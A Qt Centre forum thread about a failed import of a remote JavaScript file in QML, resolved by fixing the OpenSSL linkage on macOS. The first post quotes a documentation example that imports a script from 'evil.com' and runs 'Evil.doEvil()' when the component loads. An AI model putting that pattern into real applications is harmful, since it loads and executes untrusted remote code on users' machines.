Results 1 to 5 of 5

Thread: import a remote (from network) javascript doesn't work

  1. #1
    Join Date
    Sep 2015
    Posts
    12
    Thanks
    4
    Qt products
    Qt5
    Platforms
    MacOS X Windows Android

    Default import a remote (from network) javascript doesn't work

    Hi all,

    I am trying to import a remote javascript as this example (http://doc.qt.io/qt-5/qtqml-document...nsparency.html)
    Qt Code:
    1. import QtQuick 2.0
    2. import "http://evil.com/evil.js" as Evil
    3.  
    4. Component {
    5. onLoaded: Evil.doEvil()
    6. }
    To copy to clipboard, switch view to plain text mode 

    However, when I try my application, I get the error : Script https://apis.google.com/js/client.js unavailable
    My code:
    Qt Code:
    1. import "https://apis.google.com/js/client.js" as GoogleApi
    To copy to clipboard, switch view to plain text mode 


    Is it because of https? Or I misunderstood the usage of this google API.

    If I didn't explanation my question clear enough. Please kindly tell me.

    Best regards,
    Clark

  2. #2
    Join Date
    Mar 2009
    Location
    Brisbane, Australia
    Posts
    7,595
    Thanks
    13
    Thanked 1,588 Times in 1,517 Posts
    Qt products
    Qt4 Qt5
    Platforms
    Unix/X11 Windows
    Wiki edits
    17

    Default Re: import a remote (from network) javascript doesn't work

    You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.

  3. The following user says thank you to ChrisW67 for this useful post:

    clarksuper0420 (14th October 2015)

  4. #3
    Join Date
    Sep 2015
    Posts
    12
    Thanks
    4
    Qt products
    Qt5
    Platforms
    MacOS X Windows Android

    Default Re: import a remote (from network) javascript doesn't work

    Quote Originally Posted by ChrisW67 View Post
    You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.
    Hi Chris,

    Thank you very much for your suggestion.
    I am using Mac OS. So I try to follow this thread to solve my problem. (https://forum.qt.io/topic/55853/solv...l-and-mac-os-x)

    Now, my openssl version is 1.0.2 which is up-to-date.
    I also link to the ssl library by following code in my .pro file.
    Qt Code:
    1. TEMPLATE = app
    2.  
    3. QT += qml quick widgets
    4.  
    5. SOURCES += main.cpp
    6.  
    7. RESOURCES += qml.qrc
    8.  
    9. LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl
    10.  
    11. INCLUDEPATH += /usr/local/Cellar/openssl/1.0.2d_1/include
    12. DEPENDPATH += /usr/local/Cellar/openssl/1.0.2d_1/include
    13.  
    14. # Additional import path used to resolve QML modules in Qt Creator's code model
    15. QML_IMPORT_PATH =
    16.  
    17. # Default rules for deployment.
    18. include(deployment.pri)
    To copy to clipboard, switch view to plain text mode 

    I guess I must make some basic (stupid) mistake so I still get SSL warning when loading remote javascript from Google as below.
    qt.network.ssl: QSslSocket: cannot resolve SSL_set_psk_client_callback
    qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_client_method
    qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_client_method
    qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_server_method
    qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_server_method
    qt.network.ssl: QSslSocket: cannot resolve SSL_select_next_proto
    qt.network.ssl: QSslSocket: cannot resolve SSL_CTX_set_next_proto_select_cb
    qt.network.ssl: QSslSocket: cannot resolve SSL_get0_next_proto_negotiated
    QQmlApplicationEngine failed to load component
    qrc:/main.qml:5 Script https://apis.google.com/js/client.js unavailable
    https://apis.google.com/js/client.js:-1 Network error


    Could you think of any possible mistake in my processor?

    Best regards,
    Clark

  5. #4
    Join Date
    Mar 2009
    Location
    Brisbane, Australia
    Posts
    7,595
    Thanks
    13
    Thanked 1,588 Times in 1,517 Posts
    Qt products
    Qt4 Qt5
    Platforms
    Unix/X11 Windows
    Wiki edits
    17

    Default Re: import a remote (from network) javascript doesn't work

    I am assuming that this is a binary distribution of Qt that has SSL support loosely coupled. You do not need to explicitly link the OpenSSL libraries to your app but they must be available in the run time environment of your application. I am not sure how that is arranged in the OS X world.

  6. #5
    Join Date
    Sep 2015
    Posts
    12
    Thanks
    4
    Qt products
    Qt5
    Platforms
    MacOS X Windows Android

    Default Re: import a remote (from network) javascript doesn't work

    I solved my problem.
    First of all, as Chris said. It's NOT necessary to add lib in .pro file. (LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl)

    My problem was:
    I followed this page to update my openssl (http://javigon.com/2014/04/09/update-openssl-in-osx/). However, this tutorial miss one important thing.
    That is
    Qt Code:
    1. @ brew link --force openssl.
    To copy to clipboard, switch view to plain text mode 
    I guess this command is important to generate needed link in the system.

    For anyone who wants to solve this problem. You could also refer to http://apple.stackexchange.com/quest...penssl-in-os-x

Similar Threads

  1. Replies: 1
    Last Post: 11th June 2015, 04:48
  2. QML's import does not work
    By MarkoSan in forum Qt Programming
    Replies: 9
    Last Post: 8th September 2014, 13:33
  3. Replies: 0
    Last Post: 19th March 2013, 10:00
  4. C++/Qt, remote work, part-time
    By mannaz in forum Jobs
    Replies: 3
    Last Post: 15th June 2011, 17:09
  5. JavaScript for loop won't work
    By Asperamanca in forum Qt Quick
    Replies: 2
    Last Post: 15th October 2010, 21:23

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Digia, Qt and their respective logos are trademarks of Digia Plc in Finland and/or other countries worldwide.